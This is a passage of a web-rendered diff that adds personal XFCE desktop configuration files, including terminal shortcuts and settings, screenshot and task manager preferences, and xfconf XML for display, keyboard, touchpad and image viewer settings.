; (gtk_accel_path "<Actions>/terminal-window/move-tab-right" "<Primary><Shift>Page_Down")
|
||||||
|
; (gtk_accel_path "<Actions>/terminal-window/zoom-out" "<Primary>minus")
|
||||||
|
; (gtk_accel_path "<Actions>/terminal-window/set-title" "<Primary><Shift>s")
|
||||||
|
; (gtk_accel_path "<Actions>/terminal-window/paste-selection" "")
|
||||||
|
; (gtk_accel_path "<Actions>/terminal-window/undo-close-tab" "")
|
||||||
|
(gtk_accel_path "<Actions>/terminal-window/goto-tab-5" "<Alt>5")
|
||||||
|
; (gtk_accel_path "<Actions>/terminal-window/zoom-menu" "")
|
||||||
|
; (gtk_accel_path "<Actions>/terminal-window/reset" "")
|
||||||
|
; (gtk_accel_path "<Actions>/terminal-window/tabs-menu" "")
|
||||||
33
xfce4/terminal/terminalrc
Normal file
33
xfce4/terminal/terminalrc
Normal file
|
|
@ -0,0 +1,33 @@
|
||||||
|
[Configuration]
|
||||||
|
FontName=Monospace Bold 12
|
||||||
|
MiscAlwaysShowTabs=FALSE
|
||||||
|
MiscBell=FALSE
|
||||||
|
MiscBellUrgent=FALSE
|
||||||
|
MiscBordersDefault=TRUE
|
||||||
|
MiscCursorBlinks=FALSE
|
||||||
|
MiscCursorShape=TERMINAL_CURSOR_SHAPE_BLOCK
|
||||||
|
MiscDefaultGeometry=80x24
|
||||||
|
MiscInheritGeometry=FALSE
|
||||||
|
MiscMenubarDefault=TRUE
|
||||||
|
MiscMouseAutohide=FALSE
|
||||||
|
MiscMouseWheelZoom=TRUE
|
||||||
|
MiscToolbarDefault=FALSE
|
||||||
|
MiscConfirmClose=TRUE
|
||||||
|
MiscCycleTabs=TRUE
|
||||||
|
MiscTabCloseButtons=TRUE
|
||||||
|
MiscTabCloseMiddleClick=TRUE
|
||||||
|
MiscTabPosition=GTK_POS_TOP
|
||||||
|
MiscHighlightUrls=TRUE
|
||||||
|
MiscMiddleClickOpensUri=FALSE
|
||||||
|
MiscCopyOnSelect=FALSE
|
||||||
|
MiscDefaultWorkingDir=
|
||||||
|
MiscRewrapOnResize=TRUE
|
||||||
|
MiscUseShiftArrowsToScroll=FALSE
|
||||||
|
MiscSlimTabs=FALSE
|
||||||
|
ColorForeground=#1717f0f01818
|
||||||
|
BackgroundMode=TERMINAL_BACKGROUND_IMAGE
|
||||||
|
BackgroundImageFile=/home/shl/Pictures/Images/archlinux.png
|
||||||
|
BackgroundImageShading=0.550000
|
||||||
|
BackgroundImageStyle=TERMINAL_BACKGROUND_STYLE_STRETCHED
|
||||||
|
ScrollingOnOutput=FALSE
|
||||||
|
|
||||||
8
xfce4/xfce4-screenshooter
Normal file
8
xfce4/xfce4-screenshooter
Normal file
|
|
@ -0,0 +1,8 @@
|
||||||
|
delay=1
|
||||||
|
region=3
|
||||||
|
action=2
|
||||||
|
show_mouse=1
|
||||||
|
screenshot_dir=file:/home/shl/Pictures/SHL
|
||||||
|
app=ristretto
|
||||||
|
last_user=
|
||||||
|
|
||||||
25
xfce4/xfce4-taskmanager.rc
Normal file
25
xfce4/xfce4-taskmanager.rc
Normal file
|
|
@ -0,0 +1,25 @@
|
||||||
|
[Settings]
|
||||||
|
ShowAllProcesses=FALSE
|
||||||
|
MorePrecision=FALSE
|
||||||
|
FullCommandLine=FALSE
|
||||||
|
ShowStatusIcon=FALSE
|
||||||
|
ShowMemoryInXBytes=FALSE
|
||||||
|
MonitorPaintBox=TRUE
|
||||||
|
ShowApplicationIcons=TRUE
|
||||||
|
ToolbarStyle=DEFAULT
|
||||||
|
PromptTerminateTask=TRUE
|
||||||
|
RefreshRate=750
|
||||||
|
ColumnUID=FALSE
|
||||||
|
ColumnPID=TRUE
|
||||||
|
ColumnPPID=FALSE
|
||||||
|
ColumnState=FALSE
|
||||||
|
ColumnVSZ=FALSE
|
||||||
|
ColumnRSS=TRUE
|
||||||
|
ColumnCPU=TRUE
|
||||||
|
ColumnPriority=FALSE
|
||||||
|
SortColumn=0
|
||||||
|
SortType=0
|
||||||
|
WindowWidth=1366
|
||||||
|
WindowHeight=659
|
||||||
|
HandlePosition=100
|
||||||
|
ProcessTreeView=FALSE
|
||||||
18
xfce4/xfconf/xfce-perchannel-xml/displays.xml
Normal file
18
xfce4/xfconf/xfce-perchannel-xml/displays.xml
Normal file
|
|
@ -0,0 +1,18 @@
|
||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
|
||||||
|
<channel name="displays" version="1.0">
|
||||||
|
<property name="Default" type="empty">
|
||||||
|
<property name="eDP1" type="string" value="1. Chimei Innolux Corporation 14"">
|
||||||
|
<property name="Active" type="bool" value="true"/>
|
||||||
|
<property name="Resolution" type="string" value="1366x768"/>
|
||||||
|
<property name="RefreshRate" type="double" value="60.003141"/>
|
||||||
|
<property name="Rotation" type="int" value="0"/>
|
||||||
|
<property name="Reflection" type="string" value="0"/>
|
||||||
|
<property name="Primary" type="bool" value="true"/>
|
||||||
|
<property name="Position" type="empty">
|
||||||
|
<property name="X" type="int" value="0"/>
|
||||||
|
<property name="Y" type="int" value="0"/>
|
||||||
|
</property>
|
||||||
|
</property>
|
||||||
|
</property>
|
||||||
|
</channel>
|
||||||
9
xfce4/xfconf/xfce-perchannel-xml/keyboard-layout.xml
Normal file
9
xfce4/xfconf/xfce-perchannel-xml/keyboard-layout.xml
Normal file
|
|
@ -0,0 +1,9 @@
|
||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
|
||||||
|
<channel name="keyboard-layout" version="1.0">
|
||||||
|
<property name="Default" type="empty">
|
||||||
|
<property name="XkbDisable" type="bool" value="false"/>
|
||||||
|
<property name="XkbLayout" type="string" value="latam"/>
|
||||||
|
<property name="XkbVariant" type="string" value=""/>
|
||||||
|
</property>
|
||||||
|
</channel>
|
||||||
7
xfce4/xfconf/xfce-perchannel-xml/keyboards.xml
Normal file
7
xfce4/xfconf/xfce-perchannel-xml/keyboards.xml
Normal file
|
|
@ -0,0 +1,7 @@
|
||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
|
||||||
|
<channel name="keyboards" version="1.0">
|
||||||
|
<property name="Default" type="empty">
|
||||||
|
<property name="Numlock" type="bool" value="false"/>
|
||||||
|
</property>
|
||||||
|
</channel>
|
||||||
14
xfce4/xfconf/xfce-perchannel-xml/pointers.xml
Normal file
14
xfce4/xfconf/xfce-perchannel-xml/pointers.xml
Normal file
|
|
@ -0,0 +1,14 @@
|
||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
|
||||||
|
<channel name="pointers" version="1.0">
|
||||||
|
<property name="ELAN120000_04F3303E_Touchpad" type="empty">
|
||||||
|
<property name="Properties" type="empty">
|
||||||
|
<property name="libinput_Tapping_Enabled" type="int" value="1"/>
|
||||||
|
</property>
|
||||||
|
</property>
|
||||||
|
<property name="OM" type="empty">
|
||||||
|
<property name="RightHanded" type="bool" value="true"/>
|
||||||
|
<property name="Threshold" type="int" value="1"/>
|
||||||
|
<property name="Acceleration" type="double" value="8.000000"/>
|
||||||
|
</property>
|
||||||
|
</channel>
|
||||||
9
xfce4/xfconf/xfce-perchannel-xml/ristretto.xml
Normal file
9
xfce4/xfconf/xfce-perchannel-xml/ristretto.xml
Normal file
|
|
@ -0,0 +1,9 @@
|
||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
|
||||||
|
<channel name="ristretto" version="1.0">
|
||||||
|
<property name="window" type="empty">
|
||||||
|
<property name="navigationbar" type="empty">
|
||||||
|
<property name="position" type="string" value="left"/>
|
||||||
|
</property>
|
||||||
|
</property>
|
||||||
|
</channel>
|
||||||
Some files were not shown because too many files have changed in this diff Show more
Loading…
Add table
Add a link
Reference in a new issue